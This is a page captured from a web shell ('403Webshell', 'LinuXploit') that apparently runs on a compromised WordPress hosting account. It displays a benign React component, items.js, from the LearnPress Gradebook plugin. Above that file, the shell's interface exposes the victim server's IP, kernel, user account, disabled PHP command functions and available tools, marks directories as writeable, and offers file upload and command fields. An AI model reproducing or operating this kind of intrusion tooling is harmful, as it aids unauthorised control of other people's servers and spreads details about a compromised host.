403Webshell
Server IP : 172.67.147.195  /  Your IP : 216.73.216.142
Web Server : Apache/2
System : Linux hosting8537.lvs 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : mienphi ( 1014)
PHP Version : 8.2.14
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mienphi/public_html/wp-content/plugins/learnpress-gradebook/src/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mienphi/public_html/wp-content/plugins/learnpress-gradebook/src/components//items.js
/* eslint-disable jsx-a11y/no-onchange */
/* eslint-disable jsx-a11y/anchor-is-valid */
/* eslint-disable jsx-a11y/no-static-element-interactions */
/* eslint-disable jsx-a11y/click-events-have-key-events */
import { __ } from '@wordpress/i18n';
import { useState, useEffect } from '@wordpress/element';
import { addQueryArgs } from '@wordpress/url';
import apiFetch from '@wordpress/api-fetch';
import { Button, Flex, FlexItem, TextControl, SelectControl } from '@wordpress/components';

import ExportItems from './export/items';
import HomeChart from './HomeChart';
import ItemsTable from './ItemsTable';
import Skeleton from './skeleton';
import Breadcrumbs from './Breadcrumbs';

export default function Items( { screen, courseID, setScreen, studentID, setQuizzID } ) {
	const [ data, setData ] = useState( '' );
	const [ submit, setSubmit ] = useState( false );
	const [ itemType, setItemsType ] = useState( '' );
	const [ status, setStatus ] = useState( '' );
	const [ postTitle, setPostsTitle ] = useState();
	const [ page, setPage ] = useState( 1 );
	const [ pagination, setPagination ] = useState( 1 );
	const [ studentName, setStudentName ] = useState( '' );
	const [ titleCourse, settitleCourse ] = useState( '' );
	const [ loading, setLoading ] = useState( false );

	useEffect( () => {
		try {
			async function getResponse() {
				const response = await apiFetch( {
					path: addQueryArgs( 'lp-gradebook/get-items', {
						studentID,
						courseID,
						itemType,
						page,
						limit: 10,
						status,
						postTitle,
					} ),
					method: 'GET',
				} );
                console.log( response );
				setData( response.data );
				setStudentName( response.data.studentName );
				settitleCourse( response.data.titleCourse );
				setSubmit( false );
				setLoading( false );
				setPagination( response?.data?.total_posts / 10 || 1 );
			}

			getResponse();
		} catch ( e ) {
			setData( '' );
			setSubmit( false );
			setLoading( false );
		}
	}, [ studentID, courseID, submit, page ] );

	let itemTypes = data?.types && Object.keys( data.types ).map( ( key ) => {
		return {
			label: data.types[ key ],
			value: key,
		};
	} );

	itemTypes = itemTypes ? [ { label: __( 'Type', 'learnpress-gradebook' ), value: '' }, ...itemTypes ] : [];

	return (
		<div>
			<Breadcrumbs titleCourse={ titleCourse } studentName={ studentName } screen={ screen } setScreen={ setScreen } />

			<HomeChart courseID={ courseID } />

			<Flex>
				<FlexItem>
					<ExportItems setPostsTitle={ setPostsTitle } studentID={ studentID } courseID={ courseID } data={ data } />
				</FlexItem>

				<FlexItem>
					<form onSubmit={ ( e ) => {
						e.preventDefault();
						setSubmit( true );
					} }>
						<Flex align={ 'flex-start' }>
							<TextControl
								style={ { height: 36 } }
								label={ null }
								value={ postTitle }
								onChange={ ( value ) => setPostsTitle( value ) }
								placeholder={ __( 'Search lesson, quiz…', 'learnpress-gradebook' ) }
							/>
							<SelectControl
								style={ { height: 36 } }
								label={ null }
								value={ itemType }
								onChange={ ( value ) => setItemsType( value ) }
								options={ itemTypes }
							/>
							<SelectControl
								style={ { height: 36 } }
								label={ null }
								value={ status }
								onChange={ ( value ) => setStatus( value ) }
								options={ [
									{ label: __( 'Status', 'learnpress-gradebook' ), value: '' },
									{ label: __( 'Started', 'learnpress-gradebook' ), value: 'started' },
									{ label: __( 'Completed', 'learnpress-gradebook' ), value: 'completed' },
								] }
							/>
							<Button
								isPrimary
								variant="primary"
								onClick={ () => setSubmit( true ) }
								style={ { height: 36 } }
							>
								{ __( 'Filters', 'learnpress-gradebook' ) }
							</Button>
						</Flex>
					</form>
				</FlexItem>
			</Flex>

			{ ! data || submit ? <Skeleton /> : <ItemsTable data={ data } loading={ loading } setLoading={ setLoading }setSubmit={ setSubmit } pagination={ pagination } setPage={ setPage } setScreen={ setScreen } setQuizzID={ setQuizzID } /> }
		</div>
	);
}

Youez - 2016 - github.com/yon3zu
LinuXploit